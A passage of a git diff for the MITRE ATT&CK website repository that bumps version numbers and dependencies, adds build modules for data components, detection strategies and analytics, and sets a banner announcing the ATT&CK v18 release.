"black" [tool.towncrier] name = "ATT&CK website" - version = "4.2.3" + version = "4.4.0" filename = "CHANGELOG.md" issue_format = "[#{issue}](https://github.com/mitre-attack/attack-website/issues/{issue})" template = ".towncrier.template.md" diff --git a/requirements.txt b/requirements.txt index 289ccc84aa9..89e7b67bea1 100644 --- a/requirements.txt +++ b/requirements.txt @@ -4,7 +4,7 @@ bleach==6.1.0 colorama==0.4.6 future==1.0.0 loguru==0.7.2 -mitreattack-python==5.1.0 +mitreattack-python==5.2.1 pelican==4.10.2 python-dotenv==1.0.1 requests==2.32.3 diff --git a/update-attack.py b/update-attack.py index 9e72f9d29b8..6a3f2c865e6 100644 --- a/update-attack.py +++ b/update-attack.py @@ -12,6 +12,8 @@ # argument defaults and options for the CLI module_choices = [ "clean", + # NOTE: While datasources are deprecated starting in ATT&CK v18, we still include them for legacy support. + # All Datasource objects should be individually deprecated, but still have pages generated. "datasources", "groups", "search", @@ -22,6 +24,9 @@ "techniques", "campaigns", "assets", + "datacomponents", + "detectionstrategies", + "analytics", "tour", "website_build", "random_page", diff --git a/website-banner.production b/website-banner.production index d3f5a12faa9..8009d65c0c6 100644 --- a/website-banner.production +++ b/website-banner.production @@ -1 +1 @@ - +ATT&CK v18 has been released! Check out the blog post or changelog for more information.